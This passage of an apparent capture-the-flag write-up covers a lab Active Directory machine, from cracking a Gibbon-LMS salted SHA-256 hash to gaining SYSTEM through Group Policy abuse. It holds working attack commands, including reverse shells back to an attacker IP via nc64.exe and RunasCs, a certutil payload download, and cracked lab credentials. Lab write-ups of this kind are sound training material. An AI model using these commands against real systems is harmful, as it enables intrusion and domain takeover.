MariaDB [gibbon]> select username, passwordStrong, passwordStrongSalt from gibbonPerson;+-----------+------------------------------------------------------------------+------------------------+| username | passwordStrong | passwordStrongSalt |+-----------+------------------------------------------------------------------+------------------------+| f.frizzle | 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 | /aACFhikmNopqrRTVz2489 |+-----------+------------------------------------------------------------------+------------------------+1 row in set (0.279 sec)Gladly, we have found a password hash along with a salt. The hash looks like a sha-256 based on its length(64-character hex string).

However, we also want to know the positioning of salt in the hash before trying to crack it. Upon searching on Google, I found that the hash processing is done in the core/preferencesPasswordProcess.php file, where core is Gibbon-LMS in our case.
PS C:xampphtdocsGibbon-LMS> Get-Content preferencesPasswordprocess.phpHence, our hash is derived using sha256 with salt + password:

Hash Cracking
Finding the Right Module
Our target module is 1420 based on the placement of salt in the hash, which we just discussed above.
croc@hacker$ hashcat --help | grep sha256 1470 | sha256(utf16le($pass)) | Raw Hash 1410 | sha256($pass.$salt) | Raw Hash salted and/or iterated 1420 | sha256($salt.$pass) | Raw Hash salted and/or iterated 22300 | sha256($salt.$pass.$salt) | Raw Hash salted and/or iterated 20720 | sha256($salt.sha256($pass)) | Raw Hash salted and/or iterated 21420 | sha256($salt.sha256_bin($pass)) | Raw Hash salted and/or iterated 1440 | sha256($salt.utf16le($pass)) | Raw Hash salted and/or iterated 20800 | sha256(md5($pass)) | Raw Hash salted and/or iterated 20710 | sha256(sha256($pass).$salt) | Raw Hash salted and/or iterated 21400 | sha256(sha256_bin($pass)) | Raw Hash salted and/or iterated 1430 | sha256(utf16le($pass).$salt) | Raw Hash salted and/or iterated 6400 | AIX {ssha256} | Operating System 7400 | sha256crypt $5$, SHA256 (Unix) | Operating System 7401 | MySQL $A$ (sha256crypt) | Database Server 20711 | AuthMe sha256 | Enterprise Application Software (EAS) 20300 | Python passlib pbkdf2-sha256 | FrameworkHash.txt
I created a file hash.txt and saved the password hash and salt in the following format:
hash:salt
Cracking the Hash
croc@hacker$ hashcat -a 0 -m 1420 hash.txt /usr/share/wordlists/rockyou.txt
Hence, the password for f.frizzle is Jenni_Luvs_Magic23.
Bloodhound Collection
After getting hit by a dozen DNS errors, I finally succeeded in dumping the data. I also uploaded it into Bloodhound.
croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" bloodhound-python -d 'frizz.htb' -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -dc 'frizzdc.frizz.htb' -ns '10.10.11.60' --auth-method kerberos -c allINFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)INFO: Found AD domain: frizz.htbINFO: Getting TGT for userINFO: Connecting to LDAP server: frizzdc.frizz.htbINFO: Found 1 domainsINFO: Found 1 domains in the forestINFO: Found 1 computersINFO: Connecting to LDAP server: frizzdc.frizz.htbINFO: Found 22 usersINFO: Found 53 groupsINFO: Found 2 gposINFO: Found 2 ousINFO: Found 19 containersINFO: Found 0 trustsINFO: Starting computer enumeration with 10 workersINFO: Querying computer: frizzdc.frizz.htbINFO: Done in 00M 48S
croc@hacker$ ls20250424221856_computers.json 20250424221856_gpos.json 20250424221856_users.json20250424221856_containers.json 20250424221856_groups.json20250424221856_domains.json 20250424221856_ous.jsonfaketime is used in order to tackle the KRB_AP_ERR_SKEW error.
Setting up Kerberos Authentication
Step 01 - Install Client Libraries
If you are faced with any prompts during the installation, just remember to press the magic key “Enter” & go with the defaults.
croc@hacker$ sudo apt install -y heimdal-clients libsasl2-modules-gssapi-heimdalStep 02 - Custom KRB5_CONFIG Setup
Here, we set up our custom_krb5.conf file which defines the kerberos realm configuration.
croc@hacker$ LOWER_REALM='frizz.htb'
croc@hacker$ UPPER_REALM='FRIZZ.HTB'
croc@hacker$ DC_HOSTNAME='frizzdc'
croc@hacker$ cat custom_krb5.conf[libdefaults] default_realm = $UPPER_REALM dns_lookup_realm = true dns_lookup_kdc = true[realms] $UPPER_REALM = { kdc = $DC_HOSTNAME.$LOWER_REALM admin_server = $DC_HOSTNAME.$LOWER_REALM default_domain = $DC_HOSTNAME.$LOWER_REALM }[domain_realm] $LOWER_REALM = $UPPER_REALM .$LOWER_REALM = $UPPER_REALMEOF
croc@hacker$ cat custom_krb5.conf[libdefaults] default_realm = FRIZZ.HTB dns_lookup_realm = true dns_lookup_kdc = true[realms] FRIZZ.HTB = { kdc = frizzdc.frizz.htb admin_server = frizzdc.frizz.htb default_domain = frizzdc.frizz.htb }[domain_realm] frizz.htb = FRIZZ.HTB .frizz.htb = FRIZZ.HTBStep 03 - Authenticate as f.frizzle
I set up the environment variable KRB5_CONFIG to point to our custom Kerberos configuration file custom_krb5.conf located in our current directory ($PWD). This allows us force Kerberos clients to use custom realm configuration.
Moreover, I initiated an authentication request as f.frizzle to the KDC using kinit, which got successful. As a result, we have a cached credential at /tmp/krb5cc_1001 which we can view using klist.
croc@hacker$ export KRB5_CONFIG="$PWD/custom_krb5.conf"
croc@hacker$ kinit f.frizzlef.frizzle@FRIZZ.HTB's Password:
croc@hacker$ klistCredentials cache: FILE:/tmp/krb5cc_1001 Principal: f.frizzle@FRIZZ.HTB Issued Expires PrincipalApr 25 14:09:12 2025 Apr 26 00:09:12 2025 krbtgt/FRIZZ.HTB@FRIZZ.HTBSSH - GSSAPI Authentication
Now, as we have a cached ticket for f.frizzle, we can use it for Kerberos authentication via SSH:
croc@hacker$ ssh -K f.frizzle@frizz.htbPowerShell 7.4.5PS C:Usersf.frizzle>User.txt
PS C:Usersf.frizzleDesktop> ls Directory: C:Usersf.frizzleDesktopMode LastWriteTime Length Name---- ------------- ------ -----ar-- 4/25/2025 10:02 AM 34 user.txtPS C:Usersf.frizzleDesktop> cat user.txt074d*****************************Shell as M.SchoolBus
Files in Recycle Bin
After hitting my head for a little, I found two .7z files in recycle bin.
PS C:Usersf.frizzle> Get-ChildItem -Recurse -Force 'C:$RECYCLE.BIN' Directory: C:$RECYCLE.BINMode LastWriteTime Length Name---- ------------- ------ ----d--hs 10/29/2024 7:31 AM S-1-5-21-2386970044-1145388522-2932701813-1103 Directory: C:$RECYCLE.BINS-1-5-21-2386970044-1145388522-2932701813-1103Mode LastWriteTime Length Name---- ------------- ------ -----a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z-a-hs 10/29/2024 7:31 AM 129 desktop.iniNext, we want to transfer these files to our attackbox. I will restore them into our current user’s Desktop for easy access later on.
PS C:Usersf.frizzle> Copy-Item -Path 'C:$Recycle.BinS-1-5-21-2386970044-1145388522-2932701813-1103*.7z' -Destination "$env:USERPROFILEDesktop"PS C:Usersf.frizzleDesktop> ls Directory: C:Usersf.frizzleDesktopMode LastWriteTime Length Name---- ------------- ------ -----a--- 10/29/2024 7:31 AM 148 $IE2XMEG.7z-a--- 10/24/2024 9:16 PM 30416987 $RE2XMEG.7z-ar-- 5/2/2025 7:41 PM 34 user.txtTransfer to Attack Box
Now, we want to transfer these *.7z files back to our kali machine for further analysis.
croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$IE2XMEG.7z' $PWD$IE2XMEG.7z 100% 148 0.6KB/s 00:00
croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$RE2XMEG.7z' $PWD$RE2XMEG.7z 100% 29MB 1.7MB/s 00:17Notice the format of both files. $RE2XMEG.7z appears to be a legitimate 7-zip archive while we’re not sure about $IE2XMEG.7z.
croc@hacker$ file '$IE2XMEG.7z' '$RE2XMEG.7z'$IE2XMEG.7z: data$RE2XMEG.7z: 7-zip archive data, version 0.4Extracting the Files
The first file failed to extract but second one did extract. (As expected)
croc@hacker$ 7z x $RE2XMEG.7z7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29 64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASMScanning the drive for archives:1 file, 30416987 bytes (30 MiB)Extracting archive: $RE2XMEG.7z--Path = $RE2XMEG.7zType = 7zPhysical Size = 30416987Headers Size = 65880Method = ARM64 LZMA2:26 LZMA:20 BCJ2Solid = +Blocks = 3Everything is OkFolders: 684Files: 5384Size: 141187501Compressed: 30416987
croc@hacker$ ls'$RE2XMEG.7z' waptEnumerating for Sensitive Info
The configuration files are always a good bet to start with. Luckily, I found the following password in waptserver.ini file:

I passed the password along the network but it failed. That’s because it was base64-encoded!
croc@hacker$ echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d!suBcig@MehTed!RTrying again revealed our next pivot point which is M.SchoolBus.
croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" nxc smb frizzdc.frizz.htb -u 'users.txt' -p '!suBcig@MehTed!R' -d 'frizz.htb' -k --continue-on-success
Lateral to M.SchoolBus
Cached Ticket
Cleared all cached tickets and cached the ticket for M.SchoolBus:
croc@hacker$ kdestroykdestroy: krb5_cc_destroy: Did not find a plugin for ccache_ops
croc@hacker$ kinit m.schoolbusm.schoolbus@FRIZZ.HTB's Password:
croc@hacker$ klistCredentials cache: FILE:/tmp/krb5cc_1001 Principal: m.schoolbus@FRIZZ.HTB Issued Expires PrincipalMay 3 21:15:10 2025 May 4 07:15:10 2025 krbtgt/FRIZZ.HTB@FRIZZ.HTBSSH
croc@hacker$ ssh -K m.schoolbus@frizzdc.frizz.htbPowerShell 7.4.5PS C:UsersM.SchoolBus> whoamifrizzm.schoolbusPS C:UsersM.SchoolBus>Shell as Root
Bloodhound
Revisiting Bloodhound, I found that m.schoolbus is the member of the Desktop Admins group which is indeed the member of Group Policy Creator Owners group.

According to Microsoft,
Transfer Powersploit
We will be using the Powersploit suite of tools for GPO enumeration.
On our kali machine, we do the following:
git clone https://github.com/PowerShellMafia/PowerSploitrm -rf PowerSploit/.git/ #Removed as it is not neededzip -r PowerSploit.zip PowerSploitpython3 -m http.server 8000Transferred the zipped file to the target:
PS C:temp> certutil.exe -f -urlcache -split http://10.10.14.16:8000/PowerSploit.zip PowerSploit.zip**** Online **** 000000 ... 20b69dCertUtil: -URLCache command completed successfully.PS C:temp> ls Directory: C:tempMode LastWriteTime Length Name---- ------------- ------ -----a--- 7/20/2025 6:54 PM 2143901 PowerSploit.zipImport all the Modules
Now, we extract all the modules in the current directory:
PS C:temp> Expand-Archive .PowerSploit.zipPS C:temp> ls Directory: C:tempMode LastWriteTime Length Name---- ------------- ------ ----d---- 7/21/2025 3:07 PM PowerSploit-a--- 7/21/2025 3:07 PM 2143901 PowerSploit.zipNext, we downgrade to PowerShell v5 in order to make it work reliably:
PS C:temp> $PSVersionTableName Value---- -----PSVersion 7.4.5 #BeforePSEdition CoreGitCommitId 7.4.5OS Microsoft Windows 10.0.20348Platform Win32NTPSCompatibleVersions {1.0, 2.0, 3.0, 4.0…}PSRemotingProtocolVersion 2.3SerializationVersion 1.1.0.1WSManStackVersion 3.0PS C:temp> powershell.exeWindows PowerShellCopyright (C) Microsoft Corporation. All rights reserved.Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindowsPS C:temp> $PSVersionTableName Value---- -----PSVersion 5.1.20348.2849 #AfterPSEdition DesktopPSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}BuildVersion 10.0.20348.2849CLRVersion 4.0.30319.42000WSManStackVersion 3.0PSRemotingProtocolVersion 2.3SerializationVersion 1.1.0.1After that, it’s time to import all the modules:
PS C:temp> Get-ChildItem -Directory .PowerSploitPowerSploit -Exclude docs, Tests | ForEach-Object { Import-Module $_.FullName -ErrorAction SilentlyContinue }GPO Enumeration - Permissions
The following command shows which users/groups have what permissions on each existing GPO in the domain.
PS C:temp> Get-GPO -All | Get-GPPermission -AllTrustee : Domain AdminsTrusteeType : GroupPermission : GpoCustomInherited : FalseTrustee : Enterprise AdminsTrusteeType : GroupPermission : GpoCustomInherited : FalseTrustee : SYSTEMTrusteeType : WellKnownGroupPermission : GpoEditDeleteModifySecurityInherited : FalseTrustee : Authenticated UsersTrusteeType : WellKnownGroupPermission : GpoApplyInherited : FalseTrustee : ENTERPRISE DOMAIN CONTROLLERSTrusteeType : WellKnownGroupPermission : GpoReadInherited : FalseTrustee : Domain AdminsTrusteeType : GroupPermission : GpoCustomInherited : FalseTrustee : Enterprise AdminsTrusteeType : GroupPermission : GpoCustomInherited : FalseTrustee : SYSTEMTrusteeType : WellKnownGroupPermission : GpoEditDeleteModifySecurityInherited : FalseTrustee : Authenticated UsersTrusteeType : WellKnownGroupPermission : GpoApplyInherited : FalseTrustee : ENTERPRISE DOMAIN CONTROLLERSTrusteeType : WellKnownGroupPermission : GpoReadInherited : FalseLooking for Writable OUs
We used the following command to enumerate writable OUs in our domain. Luckily, there exist only two OUs and both of them are writable by our current user.
PS C:temp> Get-DomainOU |>> Get-DomainObjectAcl -ResolveGUIDs |>> Where-Object { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -like "*WriteProperty*" } |>> Select-Object ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier, @{Name='ConvertedSid'; Expression={ConvertFrom-SID $_.SecurityIdentifier}}ObjectDN : OU=Domain Controllers,DC=frizz,DC=htbActiveDirectoryRights : ReadProperty, WritePropertyObjectAceType : GP-LinkSecurityIdentifier : S-1-5-21-2386970044-1145388522-2932701813-1106ConvertedSid : frizzM.SchoolBusObjectDN : OU=Class_Frizz,DC=frizz,DC=htbActiveDirectoryRights : ReadProperty, WritePropertyObjectAceType : GP-LinkSecurityIdentifier : S-1-5-21-2386970044-1145388522-2932701813-1106ConvertedSid : frizzM.SchoolBusHence, we can link our new GPO to any of the both OUs: Domain Controllers or Class_Frizz. However, our target machine is in the Domain Controllers Organizational Unit so it makes more sense to link to that.
PS C:temp> Get-ADComputer -SearchBase "OU=Class_Frizz,DC=frizz,DC=htb" -Filter *PS C:temp>PS C:temp> Get-ADComputer -SearchBase "OU=Domain Controllers,DC=frizz,DC=htb" -Filter *DistinguishedName : CN=FRIZZDC,OU=Domain Controllers,DC=frizz,DC=htbDNSHostName : frizzdc.frizz.htbEnabled : TrueName : FRIZZDCObjectClass : computerObjectGUID : 36207a23-8d8d-45e2-b127-e4341a0ec93eSamAccountName : FRIZZDC$SID : S-1-5-21-2386970044-1145388522-2932701813-1000UserPrincipalName :Creating a new GPO and linking to OU
Created a new GPO named Evil Croc GPO using New-GPO cmdlet:
PS C:temp> New-GPO -Name "Evil Croc GPO"
DisplayName : Evil Croc GPODomainName : frizz.htbOwner : frizzM.SchoolBusId : 6ff7fae6-caf3-40da-a97f-10fff92a0f08GpoStatus : AllSettingsEnabledDescription :CreationTime : 7/24/2025 6:56:02 PMModificationTime : 7/24/2025 6:56:02 PMUserVersion : AD Version: 0, SysVol Version: 0ComputerVersion : AD Version: 0, SysVol Version: 0WmiFilter :Linked it to the Domain Controllers OU using New-GPLink cmdlet:
C:temp> Get-GPO -name "Evil Croc GPO" | New-GPLink -Target "OU=Domain Controllers,DC=frizz,DC=htb"GpoId : 596d8853-cc3b-48a4-a9b2-c2a40e214ff1DisplayName : Evil Croc GPOEnabled : TrueEnforced : FalseTarget : OU=Domain Controllers,DC=frizz,DC=htbOrder : 2Way #01: Gaining Root - Immediate Scheduled Task
We will be using sharpGPOAbuse.exe in order to perform the immediate scheduled task attack.
PS C:temp> & "C:tempSharpGPOAbuse.exe" --AddComputerTask --TaskName "EvilTask" --Author "FRIZZ.HTBAdministrator" --Command "cmd.exe" --Arguments "/c C:WindowsTasksnc64.exe 10.10.14.182 443 -e powershell.exe" --GPOName "Evil Croc GPO" --Force[+] Domain = frizz.htb[+] Domain Controller = frizzdc.frizz.htb[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb[+] GUID of "Evil Croc GPO" is: {5C5DC385-1956-47B8-B432-376A3A580DBE}[+] Creating file \frizz.htbSysVolfrizz.htbPolicies{5C5DC385-1956-47B8-B432-376A3A580DBE}MachinePreferencesScheduledTasksScheduledTasks.xml[+] versionNumber attribute changed successfully[+] The version number in GPT.ini was increased successfully.[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.[+] Done!Set up a listener on the attack box at 443:
croc@hacker:~$ sudo rlwrap nc -nvlp 443listening on [any] 443 ...Force update the group policy to apply our GPO setting on the DC:
PS C:temp> gpupdate.exe /forceUpdating policy...Computer Policy update has completed successfully.User Policy update has completed successfully.Successfully obtained a reverse shell as ntauthority system:

Way #02: Gaining Root - Adding a Local Admin
We can also make our user m.schoolbus a local admin on the DC and then initiate a reverse shell connection under his proximity to get admin privileges:
PS C:temp> & "C:tempSharpGPOAbuse.exe" --AddLocalAdmin --UserAccount 'M.schoolbus' --GPOName "Evil Croc GPO" --force[+] Domain = frizz.htb[+] Domain Controller = frizzdc.frizz.htb[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb[+] SID Value of M.schoolbus = S-1-5-21-2386970044-1145388522-2932701813-1106[+] GUID of "Evil Croc GPO" is: {48753DD8-2CF7-4859-8BA3-4056612363FD}[+] Creating file \frizz.htbSysVolfrizz.htbPolicies{48753DD8-2CF7-4859-8BA3-4056612363FD}MachineMicrosoftWindows NTSecEditGptTmpl.inf[+] versionNumber attribute changed successfully[+] The version number in GPT.ini was increased successfully.[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.[+] Done!PS C:temp> gpupdate.exe /forceUpdating policy...Computer Policy update has completed successfully.User Policy update has completed successfully.We can indeed verify this as well from below:
PS C:temp> net localgroup administratorsAlias name administratorsComment Administrators have complete and unrestricted access to the computer/domainMembers-------------------------------------------------------------------------------AdministratorM.SchoolBusThe command completed successfully.However, note that the members of the local admin group are not allowed to SSH into the machine:
PS C:temp> cat C:ProgramDatasshsshd_config
So, we need to figure another way out.
RunasCS - Reverse Shell as admin
Set up a listener on your machine on whatever port and execute the following command on the target:
PS C:temp> Import-Module .Invoke-RunasCs.ps1PS C:temp> Invoke-RunasCs 'M.schoolbus' '!suBcig@MehTed!R' powershell.exe -Remote 10.10.14.182:5555[+] Running in session 0 with process function CreateProcessWithLogonW()[+] Using StationDesktop: Service-0x0-2c55b3$Default[+] Async process 'C:WindowsSystem32WindowsPowerShellv1.0powershell.exe' with pid 740 created in background.PS C:temp>And, we received a connection back as the local admin m.schoolbus:
croc@hacker:~$ sudo rlwrap nc -nvlp 5555listening on [any] 5555 ...connect to [10.10.14.182] from (UNKNOWN) [10.10.11.60] 55947Windows PowerShellCopyright (C) Microsoft Corporation. All rights reserved.Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindowsPS C:Windowssystem32> whoamiwhoamifrizzm.schoolbusPS C:Windowssystem32> whoami /privwhoami /privPRIVILEGES INFORMATION----------------------Privilege Name Description State========================================= ================================================================== ========SeIncreaseQuotaPrivilege Adjust memory quotas for a process DisabledSeMachineAccountPrivilege Add workstations to domain DisabledSeSecurityPrivilege Manage auditing and security log DisabledSeTakeOwnershipPrivilege Take ownership of files or other objects DisabledSeLoadDriverPrivilege Load and unload device drivers DisabledSeSystemProfilePrivilege Profile system performance DisabledSeSystemtimePrivilege Change the system time DisabledSeProfileSingleProcessPrivilege Profile single process DisabledSeIncreaseBasePriorityPrivilege Increase scheduling priority DisabledSeCreatePagefilePrivilege Create a pagefile DisabledSeBackupPrivilege Back up files and directories DisabledSeRestorePrivilege Restore files and directories DisabledSeShutdownPrivilege Shut down the system DisabledSeDebugPrivilege Debug programs EnabledSeSystemEnvironmentPrivilege Modify firmware environment values DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeRemoteShutdownPrivilege Force shutdown from a remote system DisabledSeUndockPrivilege Remove computer from docking station DisabledSeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation DisabledSeManageVolumePrivilege Perform volume maintenance tasks DisabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeCreateGlobalPrivilege Create global objects EnabledSeIncreaseWorkingSetPrivilege Increase a process working set DisabledSeTimeZonePrivilege Change the time zone DisabledSeCreateSymbolicLinkPrivilege Create symbolic links DisabledSeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session DisabledPS C:Windowssystem32>Root.txt
PS C:Windowssystem32> cd c:usersadministratordesktopcd c:usersadministratordesktopPS C:usersadministratordesktop> Get-Content root.txtGet-Content root.txtb7ac74b06********************
Join the Discussion
By commenting you agree to our comment policy.